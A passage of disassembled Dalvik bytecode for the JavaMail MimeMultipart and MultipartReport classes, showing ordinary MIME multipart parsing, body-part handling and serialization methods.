.registers 3
00000000 new-instance v0, MimeBodyPart
00000004 invoke-direct MimeBodyPart-><init>(InputStream)V, v0, p1
0000000A return-object v0
.end method
.method protected createMimeBodyPart(InternetHeaders, [B)MimeBodyPart
.registers 4
00000000 new-instance v0, MimeBodyPart
00000004 invoke-direct MimeBodyPart-><init>(InternetHeaders, [B)V, v0, p1, p2
0000000A return-object v0
.end method
.method public declared-synchronized getBodyPart(I)BodyPart
.registers 3
00000000 monitor-enter p0
:2
00000002 invoke-virtual MimeMultipart->parse()V, p0
00000008 invoke-super Multipart->getBodyPart(I)BodyPart, p0, p1
:E
0000000E move-result-object v0
00000010 monitor-exit p0
00000012 return-object v0
:14
00000014 move-exception v0
00000016 monitor-exit p0
00000018 throw v0
.catchall {:2 .. :E} :14
.end method
.method public declared-synchronized getBodyPart(String)BodyPart
.registers 6
00000000 monitor-enter p0
:2
00000002 invoke-virtual MimeMultipart->parse()V, p0
00000008 invoke-virtual MimeMultipart->getCount()I, p0
:E
0000000E move-result v2
00000010 const/4 v0, 0x0
00000012 move v1, v0
:14
00000014 if-lt v1, v2, :1E
:18
00000018 const/4 v0, 0x0
:1A
0000001A monitor-exit p0
0000001C return-object v0
:1E
0000001E invoke-virtual MimeMultipart->getBodyPart(I)BodyPart, p0, v1
00000024 move-result-object v0
00000026 check-cast v0, MimeBodyPart
0000002A invoke-virtual MimeBodyPart->getContentID()String, v0
00000030 move-result-object v3
00000032 if-eqz v3, :42
:36
00000036 invoke-virtual String->equals(Object)Z, v3, p1
:3C
0000003C move-result v3
0000003E if-nez v3, :1A
:42
00000042 add-int/lit8 v0, v1, 0x1
00000046 move v1, v0
00000048 goto :14
:4A
0000004A move-exception v0
0000004C monitor-exit p0
0000004E throw v0
.catchall {:2 .. :E} :4A
.catchall {:1E .. :3C} :4A
.end method
.method public declared-synchronized getCount()I
.registers 2
00000000 monitor-enter p0
:2
00000002 invoke-virtual MimeMultipart->parse()V, p0
00000008 invoke-super Multipart->getCount()I, p0
:E
0000000E move-result v0
00000010 monitor-exit p0
00000012 return v0
:14
00000014 move-exception v0
00000016 monitor-exit p0
00000018 throw v0
.catchall {:2 .. :E} :14
.end method
.method public declared-synchronized getPreamble()String
.registers 2
00000000 monitor-enter p0
:2
00000002 invoke-virtual MimeMultipart->parse()V, p0
00000008 iget-object v0, p0, MimeMultipart->preamble:String
:C
0000000C monitor-exit p0
0000000E return-object v0
:10
00000010 move-exception v0
00000012 monitor-exit p0
00000014 throw v0
.catchall {:2 .. :C} :10
.end method
.method public declared-synchronized isComplete()Z
.registers 2
00000000 monitor-enter p0
:2
00000002 invoke-virtual MimeMultipart->parse()V, p0
00000008 iget-boolean v0, p0, MimeMultipart->complete:Z
:C
0000000C monitor-exit p0
0000000E return v0
:10
00000010 move-exception v0
00000012 monitor-exit p0
00000014 throw v0
.catchall {:2 .. :C} :10
.end method
.method protected declared-synchronized parse()V
.registers 21
00000000 monitor-enter p0
:2
00000002 move-object/from16 v0, p0
00000006 iget-boolean v1, v0, MimeMultipart->parsed:Z
:A
0000000A if-eqz v1, :12
:E
0000000E monitor-exit p0
00000010 return-void
:12
00000012 sget-boolean v1, MimeMultipart->bmparse:Z
00000016 if-eqz v1, :28
:1A
0000001A invoke-direct/range MimeMultipart->parsebm()V, v20 .. v20
:20
00000020 goto :E
:22
00000022 move-exception v1
00000024 monitor-exit p0
00000026 throw v1
:28
00000028 const/4 v1, 0x0
0000002A const-wide/16 v6, 0x0
0000002E const-wide/16 v3, 0x0
:32
00000032 move-object/from16 v0, p0
00000036 iget-object v2, v0, MimeMultipart->ds:DataSource
0000003A invoke-interface DataSource->getInputStream()InputStream, v2
00000040 move-result-object v5
00000042 instance-of v2, v5, ByteArrayInputStream
00000046 if-nez v2, :4F6
:4A
0000004A instance-of v2, v5, BufferedInputStream
0000004E if-nez v2, :4F6
:52
00000052 instance-of v2, v5, SharedInputStream
00000056 if-nez v2, :4F6
:5A
0000005A new-instance v2, BufferedInputStream
0000005E invoke-direct BufferedInputStream-><init>(InputStream)V, v2, v5
:64
00000064 instance-of v5, v2, SharedInputStream
00000068 if-eqz v5, :4F0
:6C
0000006C move-object v0, v2
0000006E check-cast v0, SharedInputStream
00000072 move-object v1, v0
00000074 move-object v14, v1
:76
00000076 new-instance v1, ContentType
0000007A move-object/from16 v0, p0
0000007E iget-object v5, v0, MimeMultipart->contentType:String
00000082 invoke-direct ContentType-><init>(String)V, v1, v5
00000088 const/4 v5, 0x0
0000008A const-string v8, "boundary"
0000008E invoke-virtual ContentType->getParameter(String)String, v1, v8
00000094 move-result-object v1
00000096 if-eqz v1, :116
:9A
0000009A new-instance v5, StringBuilder
0000009E const-string v8, "--"
000000A2 invoke-direct StringBuilder-><init>(String)V, v5, v8
000000A8 invoke-virtual StringBuilder->append(String)StringBuilder, v5, v1
000000AE move-result-object v1
000000B0 invoke-virtual StringBuilder->toString()String, v1
:B6
000000B6 move-result-object v5
:B8
000000B8 new-instance v15, LineInputStream
000000BC invoke-direct LineInputStream-><init>(InputStream)V, v15, v2
000000C2 const/4 v1, 0x0
000000C4 const/4 v8, 0x0
000000C6 move-object v10, v1
:C8
000000C8 invoke-virtual LineInputStream->readLine()String, v15
000000CE move-result-object v1
000000D0 if-nez v1, :12E
:D4
000000D4 if-nez v1, :1E4
:D8
000000D8 new-instance v1, MessagingException
000000DC const-string v3, "Missing start boundary"
000000E0 invoke-direct MessagingException-><init>(String)V, v1, v3
000000E6 throw v1
:E8
000000E8 move-exception v1
:EA
000000EA new-instance v3, MessagingException
000000EE const-string v4, "IO Error"
000000F2 invoke-direct MessagingException-><init>(String, Exception)V, v3, v4, v1
000000F8 throw v3
:FA
000000FA move-exception v1
:FC
000000FC invoke-virtual InputStream->close()V, v2
:102
00000102 throw v1
:104
00000104 move-exception v1
00000106 new-instance v2, MessagingException
0000010A const-string v3, "No inputstream from datasource"
0000010E invoke-direct MessagingException-><init>(String, Exception)V, v2, v3, v1
00000114 throw v2
:116
00000116 sget-boolean v1, MimeMultipart->ignoreMissingBoundaryParameter:Z
0000011A if-nez v1, :B8
:11E
0000011E new-instance v1, MessagingException
00000122 const-string v2, "Missing boundary parameter"
00000126 invoke-direct MessagingException-><init>(String)V, v1, v2
0000012C throw v1
:12E
0000012E invoke-virtual String->length()I, v1
00000134 move-result v9
00000136 add-int/lit8 v9, v9, 0xFFFFFFFFFFFFFFFF
:13A
0000013A if-gez v9, :1A8
:13E
0000013E const/4 v11, 0x0
00000140 add-int/lit8 v9, v9, 0x1
00000144 invoke-virtual String->substring(I, I)String, v1, v11, v9
0000014A move-result-object v1
0000014C if-eqz v5, :1C6
:150
00000150 invoke-virtual String->equals(Object)Z, v1, v5
00000156 move-result v9
00000158 if-nez v9, :D4
:15C
0000015C invoke-virtual String->length()I, v1
:162
00000162 move-result v9
00000164 if-lez v9, :C8
:168
00000168 if-nez v8, :17C
:16C
0000016C const-string v8, "line.separator"
00000170 const-string v9, "\n"
00000174 invoke-static System->getProperty(String, String)String, v8, v9
:17A
0000017A move-result-object v8
:17C
0000017C if-nez v10, :4EA
:180
00000180 new-instance v9, StringBuffer
00000184 invoke-virtual String->length()I, v1
0000018A move-result v10
0000018C add-int/lit8 v10, v10, 0x2
00000190 invoke-direct StringBuffer-><init>(I)V, v9, v10
:196
00000196 invoke-virtual StringBuffer->append(String)StringBuffer, v9, v1
0000019C move-result-object v1
0000019E invoke-virtual StringBuffer->append(String)StringBuffer, v1, v8
000001A4 move-object v10, v9
000001A6 goto :C8
:1A8
000001A8 invoke-virtual String->charAt(I)C, v1, v9
000001AE move-result v11
000001B0 const/16 v12, 0x20
000001B4 if-eq v11, v12, :1C0
:1B8
000001B8 const/16 v12, 0x9
000001BC if-ne v11, v12, :13E
:1C0
000001C0 add-int/lit8 v9, v9, 0xFFFFFFFFFFFFFFFF
000001C4 goto :13A
:1C6
000001C6 const-string v9, "--"
000001CA invoke-virtual String->startsWith(String)Z, v1, v9
000001D0 move-result v9
000001D2 if-eqz v9, :15C
:1D6
000001D6 move-object v5, v1
000001D8 goto/16 :D4
:1DC
000001DC move-exception v8
000001DE const-string v8, "\n"
000001E2 goto :17C
:1E4
000001E4 if-eqz v10, :1F8
:1E8
000001E8 invoke-virtual StringBuffer->toString()String, v10
000001EE move-result-object v1
000001F0 move-object/from16 v0, p0
000001F4 iput-object v1, v0, MimeMultipart->preamble:String
:1F8
000001F8 invoke-static ASCIIUtility->getBytes(String)[B, v5
000001FE move-result-object v16
00000200 move-object/from16 v0, v16
00000204 array-length v0, v0
00000206 move/from16 v17, v0
:20A
0000020A const/4 v5, 0x0
:20C
0000020C if-eqz v5, :224
:210
00000210 invoke-virtual InputStream->close()V, v2
:216
00000216 const/4 v1, 0x1
:218
00000218 move-object/from16 v0, p0
0000021C iput-boolean v1, v0, MimeMultipart->parsed:Z
:220
00000220 goto/16 :E
:224
00000224 const/4 v1, 0x0
00000226 if-eqz v14, :272
:22A
0000022A invoke-interface SharedInputStream->getPosition()J, v14
00000230 move-result-wide v6
:232
00000232 invoke-virtual LineInputStream->readLine()String, v15
00000238 move-result-object v8
0000023A if-eqz v8, :24A
:23E
0000023E invoke-virtual String->length()I, v8
00000244 move-result v9
00000246 if-gtz v9, :232
:24A
0000024A if-nez v8, :4E2
:24E
0000024E sget-boolean v1, MimeMultipart->ignoreMissingEndBoundary:Z
00000252 if-nez v1, :266
:256
00000256 new-instance v1, MessagingException
0000025A const-string v3, "missing multipart end boundary"
0000025E invoke-direct MessagingException-><init>(String)V, v1, v3
00000264 throw v1
:266
00000266 const/4 v1, 0x0
00000268 move-object/from16 v0, p0
0000026C iput-boolean v1, v0, MimeMultipart->complete:Z
00000270 goto :210
:272
00000272 move-object/from16 v0, p0
00000276 invoke-virtual MimeMultipart->createInternetHeaders(InputStream)InternetHeaders, v0, v2
0000027C move-result-object v1
0000027E move-object v11, v1
00000280 move-wide v12, v6
:282
00000282 invoke-virtual InputStream->markSupported()Z, v2
00000288 move-result v1
0000028A if-nez v1, :29E
:28E
0000028E new-instance v1, MessagingException
00000292 const-string v3, "Stream doesn\'t support mark"
00000296 invoke-direct MessagingException-><init>(String)V, v1, v3
0000029C throw v1
:29E
0000029E const/4 v1, 0x0
000002A0 if-nez v14, :344
:2A4
000002A4 new-instance v1, ByteArrayOutputStream
000002A8 invoke-direct ByteArrayOutputStream-><init>()V, v1
:2AE
000002AE const/4 v7, 0x1
000002B0 const/4 v6, 0xFFFFFFFFFFFFFFFF
000002B2 const/4 v8, 0xFFFFFFFFFFFFFFFF
000002B4 move/from16 v18, v8
000002B8 move v8, v7
000002BA move/from16 v19, v6
000002BE move-wide v6, v3
000002C0 move/from16 v3, v18
000002C4 move/from16 v4, v19
:2C8
000002C8 if-eqz v8, :4D6
:2CC
000002CC add-int/lit8 v8, v17, 0x4
000002D0 add-int/lit16 v8, v8, 0x3E8
000002D4 invoke-virtual InputStream->mark(I)V, v2, v8
000002DA const/4 v8, 0x0
:2DC
000002DC move/from16 v0, v17
000002E0 if-lt v8, v0, :34E
:2E4
000002E4 move/from16 v0, v17
000002E8 if-ne v8, v0, :3B6
:2EC
000002EC invoke-virtual InputStream->read()I, v2
000002F2 move-result v8
000002F4 const/16 v9, 0x2D
000002F8 if-ne v8, v9, :370
:2FC
000002FC invoke-virtual InputStream->read()I, v2
00000302 move-result v9
00000304 const/16 v10, 0x2D
00000308 if-ne v9, v10, :370
:30C
0000030C const/4 v3, 0x1
0000030E move-object/from16 v0, p0
00000312 iput-boolean v3, v0, MimeMultipart->complete:Z
00000316 const/4 v3, 0x1
:318
00000318 if-eqz v14, :492
:31C
0000031C invoke-interface SharedInputStream->newStream(J, J)InputStream, v14, v12, v13, v6, v7
00000322 move-result-object v1
00000324 move-object/from16 v0, p0
00000328 invoke-virtual MimeMultipart->createMimeBodyPart(InputStream)MimeBodyPart, v0, v1
0000032E move-result-object v1
:330
00000330 move-object/from16 v0, p0
00000334 invoke-super Multipart->addBodyPart(BodyPart)V, v0, v1
0000033A move v5, v3
0000033C move-wide v3, v6
0000033E move-wide v6, v12
00000340 goto/16 :20C
:344
00000344 invoke-interface SharedInputStream->getPosition()J, v14
0000034A move-result-wide v3
0000034C goto :2AE
:34E
0000034E invoke-virtual InputStream->read()I, v2
00000354 move-result v9
00000356 aget-byte v10, v16, v8
0000035A and-int/lit16 v10, v10, 0xFF
0000035E if-ne v9, v10, :2E4
:362
00000362 add-int/lit8 v8, v8, 0x1
00000366 goto :2DC
:368
00000368 invoke-virtual InputStream->read()I, v2
0000036E move-result v8
:370
00000370 const/16 v9, 0x20
00000374 if-eq v8, v9, :368
:378
00000378 const/16 v9, 0x9
0000037C if-eq v8, v9, :368
:380
00000380 const/16 v9, 0xA
00000384 if-ne v8, v9, :38C
:388
00000388 move v3, v5
0000038A goto :318
:38C
0000038C const/16 v9, 0xD
00000390 if-ne v8, v9, :3B6
:394
00000394 const/4 v3, 0x1
00000396 invoke-virtual InputStream->mark(I)V, v2, v3
0000039C invoke-virtual InputStream->read()I, v2
000003A2 move-result v3
000003A4 const/16 v4, 0xA
000003A8 if-eq v3, v4, :4DC
:3AC
000003AC invoke-virtual InputStream->reset()V, v2
000003B2 move v3, v5
000003B4 goto :318
:3B6
000003B6 invoke-virtual InputStream->reset()V, v2
000003BC if-eqz v1, :4D6
:3C0
000003C0 const/4 v8, 0xFFFFFFFFFFFFFFFF
000003C2 if-eq v4, v8, :4D6
:3C6
000003C6 invoke-virtual ByteArrayOutputStream->write(I)V, v1, v4
000003CC const/4 v4, 0xFFFFFFFFFFFFFFFF
000003CE if-eq v3, v4, :3D8
:3D2
000003D2 invoke-virtual ByteArrayOutputStream->write(I)V, v1, v3
:3D8
000003D8 const/4 v3, 0xFFFFFFFFFFFFFFFF
000003DA move v8, v3
:3DC
000003DC invoke-virtual InputStream->read()I, v2
000003E2 move-result v9
000003E4 if-gez v9, :40E
:3E8
000003E8 sget-boolean v3, MimeMultipart->ignoreMissingEndBoundary:Z
000003EC if-nez v3, :400
:3F0
000003F0 new-instance v1, MessagingException
000003F4 const-string v3, "missing multipart end boundary"
000003F8 invoke-direct MessagingException-><init>(String)V, v1, v3
000003FE throw v1
:400
00000400 const/4 v3, 0x0
00000402 move-object/from16 v0, p0
00000406 iput-boolean v3, v0, MimeMultipart->complete:Z
0000040A const/4 v3, 0x1
0000040C goto :318
:40E
0000040E const/16 v4, 0xD
00000412 if-eq v9, v4, :41E
:416
00000416 const/16 v4, 0xA
0000041A if-ne v9, v4, :476
:41E
0000041E const/4 v10, 0x1
00000420 if-eqz v14, :4D2
:424
00000424 invoke-interface SharedInputStream->getPosition()J, v14
0000042A move-result-wide v3
0000042C const-wide/16 v6, 0x1
00000430 sub-long/2addr v3, v6
:432
00000432 const/16 v6, 0xD
00000436 if-ne v9, v6, :4C6
:43A
0000043A const/4 v6, 0x1
0000043C invoke-virtual InputStream->mark(I)V, v2, v6
00000442 invoke-virtual InputStream->read()I, v2
00000448 move-result v6
0000044A const/16 v7, 0xA
0000044E if-ne v6, v7, :464
:452
00000452 move v8, v10
00000454 move/from16 v18, v6
00000458 move-wide v6, v3
0000045A move v4, v9
0000045C move/from16 v3, v18
00000460 goto/16 :2C8
:464
00000464 invoke-virtual InputStream->reset()V, v2
0000046A move-wide v6, v3
0000046C move v4, v9
0000046E move v3, v8
00000470 move v8, v10
00000472 goto/16 :2C8
:476
00000476 const/4 v4, 0x0
00000478 if-eqz v1, :4B6
:47C
0000047C invoke-virtual ByteArrayOutputStream->write(I)V, v1, v9
00000482 move/from16 v18, v8
00000486 move v8, v4
00000488 move v4, v3
0000048A move/from16 v3, v18
0000048E goto/16 :2C8
:492
00000492 invoke-virtual ByteArrayOutputStream->toByteArray()[B, v1
00000498 move-result-object v1
0000049A move-object/from16 v0, p0
0000049E invoke-virtual MimeMultipart->createMimeBodyPart(InternetHeaders, [B)MimeBodyPart, v0, v11, v1
:4A4
000004A4 move-result-object v1
000004A6 goto/16 :330
:4AA
000004AA move-exception v2
000004AC goto/16 :102
:4B0
000004B0 move-exception v1
000004B2 goto/16 :216
:4B6
000004B6 move/from16 v18, v8
000004BA move v8, v4
000004BC move v4, v3
000004BE move/from16 v3, v18
000004C2 goto/16 :2C8
:4C6
000004C6 move-wide v6, v3
000004C8 move v4, v9
000004CA move v3, v8
000004CC move v8, v10
000004CE goto/16 :2C8
:4D2
000004D2 move-wide v3, v6
000004D4 goto :432
:4D6
000004D6 move v8, v3
000004D8 move v3, v4
000004DA goto :3DC
:4DC
000004DC move v3, v5
000004DE goto/16 :318
:4E2
000004E2 move-object v11, v1
000004E4 move-wide v12, v6
000004E6 goto/16 :282
:4EA
000004EA move-object v9, v10
000004EC goto/16 :196
:4F0
000004F0 move-object v14, v1
000004F2 goto/16 :76
:4F6
000004F6 move-object v2, v5
000004F8 goto/16 :64
.catchall {:2 .. :A} :22
.catchall {:12 .. :20} :22
.catch Exception {:32 .. :64} :104
.catchall {:32 .. :64} :22
.catchall {:64 .. :B6} :22
.catch IOException {:B8 .. :E8} :E8
.catchall {:B8 .. :E8} :FA
.catchall {:EA .. :FA} :FA
.catch IOException {:FC .. :102} :4AA
.catchall {:FC .. :102} :22
.catchall {:102 .. :12E} :22
.catch IOException {:12E .. :162} :E8
.catchall {:12E .. :162} :FA
.catch SecurityException {:16C .. :17A} :1DC
.catch IOException {:16C .. :17A} :E8
.catchall {:16C .. :17A} :FA
.catch IOException {:180 .. :20A} :E8
.catchall {:180 .. :20A} :FA
.catch IOException {:210 .. :216} :4B0
.catchall {:210 .. :216} :22
.catchall {:218 .. :220} :22
.catch IOException {:22A .. :4A4} :E8
.catchall {:22A .. :4A4} :FA
.end method
.method public removeBodyPart(I)V
.registers 2
00000000 invoke-virtual MimeMultipart->parse()V, p0
00000006 invoke-super Multipart->removeBodyPart(I)V, p0, p1
0000000C return-void
.end method
.method public removeBodyPart(BodyPart)Z
.registers 3
00000000 invoke-virtual MimeMultipart->parse()V, p0
00000006 invoke-super Multipart->removeBodyPart(BodyPart)Z, p0, p1
0000000C move-result v0
0000000E return v0
.end method
.method public declared-synchronized setPreamble(String)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-object p1, p0, MimeMultipart->preamble:String
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized setSubType(String)V
.registers 4
00000000 monitor-enter p0
:2
00000002 new-instance v0, ContentType
00000006 iget-object v1, p0, MimeMultipart->contentType:String
0000000A invoke-direct ContentType-><init>(String)V, v0, v1
00000010 invoke-virtual ContentType->setSubType(String)V, v0, p1
00000016 invoke-virtual ContentType->toString()String, v0
0000001C move-result-object v0
0000001E iput-object v0, p0, MimeMultipart->contentType:String
:22
00000022 monitor-exit p0
00000024 return-void
:26
00000026 move-exception v0
00000028 monitor-exit p0
0000002A throw v0
.catchall {:2 .. :22} :26
.end method
.method protected updateHeaders()V
.registers 3
00000000 const/4 v0, 0x0
00000002 move v1, v0
:4
00000004 iget-object v0, p0, MimeMultipart->parts:Vector
00000008 invoke-virtual Vector->size()I, v0
0000000E move-result v0
00000010 if-lt v1, v0, :16
:14
00000014 return-void
:16
00000016 iget-object v0, p0, MimeMultipart->parts:Vector
0000001A invoke-virtual Vector->elementAt(I)Object, v0, v1
00000020 move-result-object v0
00000022 check-cast v0, MimeBodyPart
00000026 invoke-virtual MimeBodyPart->updateHeaders()V, v0
0000002C add-int/lit8 v0, v1, 0x1
00000030 move v1, v0
00000032 goto :4
.end method
.method public declared-synchronized writeTo(OutputStream)V
.registers 7
00000000 monitor-enter p0
:2
00000002 invoke-virtual MimeMultipart->parse()V, p0
00000008 new-instance v0, StringBuilder
0000000C const-string v1, "--"
00000010 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000016 new-instance v1, ContentType
0000001A iget-object v2, p0, MimeMultipart->contentType:String
0000001E invoke-direct ContentType-><init>(String)V, v1, v2
00000024 const-string v2, "boundary"
00000028 invoke-virtual ContentType->getParameter(String)String, v1, v2
0000002E move-result-object v1
00000030 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000036 move-result-object v0
00000038 invoke-virtual StringBuilder->toString()String, v0
0000003E move-result-object v2
00000040 new-instance v3, LineOutputStream
00000044 invoke-direct LineOutputStream-><init>(OutputStream)V, v3, p1
0000004A iget-object v0, p0, MimeMultipart->preamble:String
0000004E if-eqz v0, :94
:52
00000052 iget-object v0, p0, MimeMultipart->preamble:String
00000056 invoke-static ASCIIUtility->getBytes(String)[B, v0
0000005C move-result-object v0
0000005E invoke-virtual LineOutputStream->write([B)V, v3, v0
00000064 array-length v1, v0
00000066 if-lez v1, :94
:6A
0000006A array-length v1, v0
0000006C add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000070 aget-byte v1, v0, v1
00000074 const/16 v4, 0xD
00000078 if-eq v1, v4, :94
:7C
0000007C array-length v1, v0
0000007E add-int/lit8 v1, v1, 0xFFFFFFFFFFFFFFFF
00000082 aget-byte v0, v0, v1
00000086 const/16 v1, 0xA
0000008A if-eq v0, v1, :94
:8E
0000008E invoke-virtual LineOutputStream->writeln()V, v3
:94
00000094 const/4 v0, 0x0
00000096 move v1, v0
:98
00000098 iget-object v0, p0, MimeMultipart->parts:Vector
0000009C invoke-virtual Vector->size()I, v0
000000A2 move-result v0
000000A4 if-lt v1, v0, :D8
:A8
000000A8 new-instance v0, StringBuilder
000000AC invoke-static String->valueOf(Object)String, v2
000000B2 move-result-object v1
000000B4 invoke-direct StringBuilder-><init>(String)V, v0, v1
000000BA const-string v1, "--"
000000BE invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000000C4 move-result-object v0
000000C6 invoke-virtual StringBuilder->toString()String, v0
000000CC move-result-object v0
000000CE invoke-virtual LineOutputStream->writeln(String)V, v3, v0
:D4
000000D4 monitor-exit p0
000000D6 return-void
:D8
000000D8 invoke-virtual LineOutputStream->writeln(String)V, v3, v2
000000DE iget-object v0, p0, MimeMultipart->parts:Vector
000000E2 invoke-virtual Vector->elementAt(I)Object, v0, v1
000000E8 move-result-object v0
000000EA check-cast v0, MimeBodyPart
000000EE invoke-virtual MimeBodyPart->writeTo(OutputStream)V, v0, p1
000000F4 invoke-virtual LineOutputStream->writeln()V, v3
:FA
000000FA add-int/lit8 v0, v1, 0x1
000000FE move v1, v0
00000100 goto :98
:102
00000102 move-exception v0
00000104 monitor-exit p0
00000106 throw v0
.catchall {:2 .. :D4} :102
.catchall {:D8 .. :FA} :102
.end method
#--------------------------------------------------------------------------------
.class public MultipartReport
.super MimeMultipart
.source ""
.field protected constructed:Z
.method public constructor <init>()V
.registers 4
00000000 const/4 v2, 0x1
00000002 const-string v0, "report"
00000006 invoke-direct MimeMultipart-><init>(String)V, p0, v0
0000000C new-instance v0, MimeBodyPart
00000010 invoke-direct MimeBodyPart-><init>()V, v0
00000016 const/4 v1, 0x0
00000018 invoke-direct MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
0000001E new-instance v0, MimeBodyPart
00000022 invoke-direct MimeBodyPart-><init>()V, v0
00000028 invoke-direct MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v2
0000002E iput-boolean v2, p0, MultipartReport->constructed:Z
00000032 return-void
.end method
.method public constructor <init>(String, DeliveryStatus)V
.registers 7
00000000 const/4 v3, 0x1
00000002 const-string v0, "report"
00000006 invoke-direct MimeMultipart-><init>(String)V, p0, v0
0000000C new-instance v0, ContentType
00000010 iget-object v1, p0, MultipartReport->contentType:String
00000014 invoke-direct ContentType-><init>(String)V, v0, v1
0000001A const-string v1, "report-type"
0000001E const-string v2, "delivery-status"
00000022 invoke-virtual ContentType->setParameter(String, String)V, v0, v1, v2
00000028 invoke-virtual ContentType->toString()String, v0
0000002E move-result-object v0
00000030 iput-object v0, p0, MultipartReport->contentType:String
00000034 new-instance v0, MimeBodyPart
00000038 invoke-direct MimeBodyPart-><init>()V, v0
0000003E invoke-virtual MimeBodyPart->setText(String)V, v0, p1
00000044 const/4 v1, 0x0
00000046 invoke-direct MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
0000004C new-instance v0, MimeBodyPart
00000050 invoke-direct MimeBodyPart-><init>()V, v0
00000056 const-string v1, "message/delivery-status"
0000005A invoke-virtual MimeBodyPart->setContent(Object, String)V, v0, p2, v1
00000060 invoke-direct MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v3
00000066 iput-boolean v3, p0, MultipartReport->constructed:Z
0000006A return-void
.end method
.method public constructor <init>(String, DeliveryStatus, InternetHeaders)V
.registers 7
00000000 invoke-direct MultipartReport-><init>(String, DeliveryStatus)V, p0, p1, p2
00000006 if-eqz p3, :30
:A
0000000A new-instance v0, MimeBodyPart
0000000E invoke-direct MimeBodyPart-><init>()V, v0
00000014 new-instance v1, MessageHeaders
00000018 invoke-direct MessageHeaders-><init>(InternetHeaders)V, v1, p3
0000001E const-string v2, "text/rfc822-headers"
00000022 invoke-virtual MimeBodyPart->setContent(Object, String)V, v0, v1, v2
00000028 const/4 v1, 0x2
0000002A invoke-direct MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
:30
00000030 return-void
.end method
.method public constructor <init>(String, DeliveryStatus, MimeMessage)V
.registers 6
00000000 invoke-direct MultipartReport-><init>(String, DeliveryStatus)V, p0, p1, p2
00000006 if-eqz p3, :26
:A
0000000A new-instance v0, MimeBodyPart
0000000E invoke-direct MimeBodyPart-><init>()V, v0
00000014 const-string v1, "message/rfc822"
00000018 invoke-virtual MimeBodyPart->setContent(Object, String)V, v0, p3, v1
0000001E const/4 v1, 0x2
00000020 invoke-direct MultipartReport->setBodyPart(BodyPart, I)V, p0, v0, v1
:26
00000026 return-void
.end method
.method public constructor <init>(DataSource)V
.registers 3
00000000 invoke-direct MimeMultipart-><init>(DataSource)V, p0, p1
00000006 invoke-virtual MultipartReport->parse()V, p0
0000000C const/4 v0, 0x1
0000000E iput-boolean v0, p0, MultipartReport->constructed:Z
00000012 return-void
.end method
.method private declared-synchronized setBodyPart(BodyPart, I)V
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, MultipartReport->parts:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, MultipartReport->parts:Vector
:18
00000018 iget-object v0, p0, MultipartReport->parts:Vector
0000001C invoke-virtual Vector->size()I, v0
00000022 move-result v0
00000024 if-ge p2, v0, :2E
:28
00000028 invoke-super MimeMultipart->removeBodyPart(I)V, p0, p2
:2E
0000002E invoke-super MimeMultipart->addBodyPart(BodyPart, I)V, p0, p1, p2
:34
00000034 monitor-exit p0
00000036 return-void
:38
00000038 move-exception v0
0000003A monitor-exit p0
0000003C throw v0
.catchall {:2 .. :34} :38
.end method
.method public declared-synchronized addBodyPart(BodyPart)V
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-boolean v0, p0, MultipartReport->constructed:Z
00000006 if-nez v0, :14
:A
0000000A invoke-super MimeMultipart->addBodyPart(BodyPart)V, p0, p1
:10
00000010 monitor-exit p0
00000012 return-void
:14
00000014 new-instance v0, MessagingException
00000018 const-string v1, "Can\'t add body parts to multipart/report 1"
0000001C invoke-direct MessagingException-><init>(String)V, v0, v1
00000022 throw v0
:24
00000024 move-exception v0
00000026 monitor-exit p0
00000028 throw v0
.catchall {:2 .. :10} :24
.catchall {:14 .. :24} :24
.end method
.method public declared-synchronized addBodyPart(BodyPart, I)V
.registers 5
00000000 monitor-enter p0
:2
00000002 new-instance v0, MessagingException
00000006 const-string v1, "Can\'t add body parts to multipart/report 2"
0000000A invoke-direct MessagingException-><init>(String)V, v0, v1
00000010 throw v0
:12
00000012 move-exception v0
00000014 monitor-exit p0
00000016 throw v0
.catchall {:2 .. :12} :12
.end method
.method public declared-synchronized getDeliveryStatus()DeliveryStatus
.registers 4
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-virtual MultipartReport->getCount()I, p0
:A
0000000A move-result v1
0000000C const/4 v2, 0x2
0000000E if-ge v1, v2, :16
:12
00000012 monitor-exit p0
00000014 return-object v0
:16
00000016 const/4 v1, 0x1
:18
00000018 invoke-virtual MultipartReport->getBodyPart(I)BodyPart, p0, v1
0000001E move-result-object v1
00000020 const-string v2, "message/delivery-status"
00000024 invoke-virtual BodyPart->isMimeType(String)Z, v1, v2
:2A
0000002A move-result v2
0000002C if-eqz v2, :12
:30
00000030 invoke-virtual BodyPart->getContent()Object, v1
00000036 move-result-object v0
00000038 check-cast v0, DeliveryStatus
:3C
0000003C goto :12
:3E
0000003E move-exception v0
:40
00000040 new-instance v1, MessagingException
00000044 const-string v2, "IOException getting DeliveryStatus"
00000048 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
0000004E throw v1
:50
00000050 move-exception v0
00000052 monitor-exit p0
00000054 throw v0
.catchall {:4 .. :A} :50
.catchall {:18 .. :2A} :50
.catch IOException {:30 .. :3C} :3E
.catchall {:30 .. :3C} :50
.catchall {:40 .. :50} :50
.end method
.method public declared-synchronized getReturnedMessage()MimeMessage
.registers 4
00000000 const/4 v0, 0x0
00000002 monitor-enter p0
:4
00000004 invoke-virtual MultipartReport->getCount()I, p0
:A
0000000A move-result v1
0000000C const/4 v2, 0x3
0000000E if-ge v1, v2, :16
:12
00000012 monitor-exit p0
00000014 return-object v0
:16
00000016 const/4 v1, 0x2
:18
00000018 invoke-virtual MultipartReport->getBodyPart(I)BodyPart, p0, v1
0000001E move-result-object v1
00000020 const-string v2, "message/rfc822"
00000024 invoke-virtual BodyPart->isMimeType(String)Z, v1, v2
